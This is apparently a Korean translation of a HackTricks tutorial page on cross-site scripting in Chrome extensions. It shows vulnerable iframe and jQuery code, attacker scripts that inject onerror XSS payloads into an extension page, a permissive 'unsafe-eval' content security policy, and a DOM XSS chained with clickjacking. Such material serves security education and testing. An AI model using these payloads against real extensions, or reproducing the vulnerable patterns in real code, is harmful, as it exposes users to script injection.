htARTE (HackTricks AWS Red Team Expert) 를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! Iframe을 통한 Cross-Site Scripting (XSS)
이 설정에서는 콘텐츠 스크립트 가 구현되어 Iframe을 인스턴스화하고, Iframe의 소스로 쿼리 매개변수를 포함한 URL을 사용합니다:
Copy chrome . storage . local .get ( "message" , result => {
let constructedURL = chrome . runtime .getURL ( "message.html" ) +
"?content=" + encodeURIComponent ( result .message) +
"&redirect=https://example.net/details" ;
frame .src = constructedURL;
});
공개적으로 접근 가능한 HTML 페이지인 **message.html
**은 URL의 매개변수에 따라 문서 본문에 동적으로 콘텐츠를 추가하는 것을 목적으로 합니다:
Copy $ (document) .ready (() => {
let urlParams = new URLSearchParams ( window . location .search);
let userContent = urlParams .get ( "content" );
$ ( document .body) .html ( ` ${ userContent } <button id='detailBtn'>Details</button>` );
$ ( '#detailBtn' ) .on ( 'click' , () => {
let destinationURL = urlParams .get ( "redirect" );
chrome . tabs .create ({ url : destinationURL });
});
});
악성 스크립트가 적대적인 페이지에서 실행되어 Iframe의 소스의 content
매개변수를 수정하여 XSS 페이로드 를 삽입합니다. 이는 해로운 스크립트를 포함하는 Iframe의 소스를 업데이트하여 달성됩니다:
Copy setTimeout (() => {
let targetFrame = document .querySelector ( "iframe" ).src;
let baseURL = targetFrame .split ( '?' )[ 0 ];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>" ;
let maliciousURL = ` ${ baseURL } ?content= ${ encodeURIComponent (xssPayload) } ` ;
document .querySelector ( "iframe" ).src = maliciousURL;
} , 1000 );
과도하게 허용적인 Content Security Policy (CSP) 예시는 다음과 같습니다:
Copy "content_security_policy" : "script-src 'self' 'unsafe-eval'; object-src 'self';"
JavaScript를 실행할 수 있게 해서 시스템이 XSS 공격에 취약해지도록 합니다.
XSS를 유발하기 위한 대안적인 접근 방식은 Iframe 요소를 생성하고 content
매개변수로 해로운 스크립트를 포함한 소스를 설정하는 것입니다:
Copy let newFrame = document .createElement ( "iframe" );
newFrame .src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent ( "<img src='x' onerror='alert(\"XSS\")'>" );
document . body .append (newFrame);
DOM 기반 XSS + 클릭재킹
이 예제는 원본 게시물 설명 에서 가져왔습니다.
핵심 문제는 **/html/bookmarks.html
**에 위치한 DOM 기반 크로스 사이트 스크립팅(XSS) 취약점에서 발생합니다. 문제가 되는 JavaScript는 **bookmarks.js
**의 일부로 아래에 자세히 설명되어 있습니다.
Copy $ ( '#btAdd' ) .on ( 'click' , function () {
var bookmarkName = $ ( '#txtName' ) .val ();
if ( $ ( '.custom-button .label' ) .filter ( function () {
return $ ( this ) .text () === bookmarkName;
}). length ) return false ;
var bookmarkItem = $ ( '<div class="custom-button">' );
bookmarkItem .html ( '<span class="label">' + bookmarkName + '</span>' );
bookmarkItem .append ( '<button class="remove-btn" title="delete">x</button>' );
bookmarkItem .attr ( 'data-title' , bookmarkName);
bookmarkItem .data ( 'timestamp' , ( new Date () .getTime ()));
$ ( 'section.bookmark-container .existing-items' ) .append (bookmarkItem);
persistData ();
});
이 코드 조각은 txtName
입력 필드에서 **value
**를 가져오고, 문자열 연결을 사용하여 HTML을 생성 한 다음 jQuery의 .append()
함수를 사용하여 DOM에 추가합니다.
일반적으로 Chrome 확장 프로그램의 콘텐츠 보안 정책 (CSP)은 이러한 취약점을 방지합니다. 그러나 'unsafe-eval'로 CSP 완화 및 jQuery의 DOM 조작 메서드 (DOM 삽입 시 eval()
에 스크립트를 전달하기 위해 globalEval()
을 사용) 사용으로 인해 여전히 악용이 가능합니다.
이 취약점은 중요하지만, 악용은 일반적으로 사용자 상호 작용에 의존합니다: 페이지 방문, XSS 페이로드 입력 및 "Add" 버튼 활성화.
이 취약점을 강화하기 위해 보조 클릭재킹 취약점이 악용됩니다. Chrome 확장 프로그램의 매니페스트에는 web_accessible_resources
정책이 상세히 표시됩니다:
Copy "web_accessible_resources" : [
"html/bookmarks.html" ,
"dist/*" ,
"assets/*" ,
"font/*" ,
[...]
],
특히 /html/bookmarks.html
페이지는 프레이밍에 취약하여 클릭재킹 에 취약합니다. 이 취약점은 공격자의 사이트 내에서 페이지를 프레임으로 묶어 인터페이스를 속이는 DOM 요소를 오버레이하여 재설계합니다. 이 조작으로 인해 피해자들은 의도치 않게 기반 확장 프로그램과 상호작용하게 됩니다.
참고 자료
htARTE (HackTricks AWS Red Team Expert) 를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! Last updated 2 months ago